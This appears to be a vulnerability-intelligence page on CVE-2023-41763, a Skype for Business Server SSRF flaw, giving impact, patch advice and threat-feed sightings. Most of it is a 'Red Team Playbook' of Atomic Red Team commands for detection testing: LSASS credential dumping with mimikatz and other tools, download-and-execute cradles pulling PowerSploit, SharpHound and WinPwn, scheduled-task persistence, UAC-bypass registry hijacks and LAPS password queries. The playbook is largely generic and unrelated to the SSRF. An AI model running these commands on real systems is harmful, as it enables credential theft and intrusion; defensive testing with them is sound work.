CVE-2023-41763
Overview
This vulnerability is a server-side request forgery (SSRF) issue rooted in improper validation of user-supplied input within the Skype for Business Server 2015 CU13 and 2019 CU7 web interface. The flaw arises from the meeturl parameter in the LwaClient.aspx endpoint, which accepts base64-encoded payloads without adequate sanitization, allowing crafted requests to trigger internal network probing. The affected component is the web-based client request handler responsible for processing meeting URLs.
Vulnerability Description
Skype for Business Elevation of Privilege Vulnerability
Impact
An unauthenticated attacker can exploit this vulnerability to perform blind SSRF attacks, causing the Skype for Business server to send requests to internal network services. This can facilitate network reconnaissance, exposing internal infrastructure details that are otherwise inaccessible externally. The lack of authentication or user interaction requirements enables remote attackers to map internal networks and potentially identify further attack vectors, increasing the risk of lateral movement within the organization.
Solution
Microsoft has released security updates addressing this vulnerability in Skype for Business Server 2015 Cumulative Update 13 and Skype for Business Server 2019 Cumulative Update 7. Administrators should apply these updates promptly as detailed in the Microsoft Security Response Center advisory at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-41763. No alternative workarounds are specified; patching is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Microsoft | Skype For Business Server | 2015 |
cpe:2.3:a:microsoft:skype_for_business_server:2015:cumulative_update_13:*:*:*:*:*:*
|
|
|
Microsoft | Skype For Business Server | 2019 |
cpe:2.3:a:microsoft:skype_for_business_server:2019:cumulative_update_7:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
23 eventsSighting activity recorded
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Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Active exploitation confirmed with 42 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
30%
|
High | High |
Red Team Playbook
78 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
schtasks /create /TN "ProactiveScan" /TR "wscript.exe \"%APPDATA%\Microsoft\Chkdsk.js\" -scan Kdw6gG7cpOSZsBeH" /SC ONLOGON /F
Add-Type @'
using System;
using System.Diagnostics;
using System.IO;
public class TopinambourDropper {
public static void unpack_p(string sourceExe) {
string dropPath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "VirtualStore", "certcheck.exe");
Directory.CreateDirectory(Path.GetDirectoryName(dropPath));
File.Copy(sourceExe, dropPath, true);
}
public static void make_some_noise() {
ProcessStartInfo startInfo = new ProcessStartInfo("cmd", "/c schtasks /create /SC MINUTE /MO 30 /TR \"%localappdata%\\VirtualStore\\certcheck.exe\" /TN VerifiedPublisherCertCheck /F")
{
CreateNoWindow = true,
UseShellExecute = false
};
Process.Start(startInfo).WaitForExit();
}
}
'@
[TopinambourDropper]::unpack_p("#{benign_exe}")
[TopinambourDropper]::make_some_noise()
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-41763 |
| msrc.microsoft.com |
GitHub CVE
vendor-advisory
|
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-41763 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-41763 |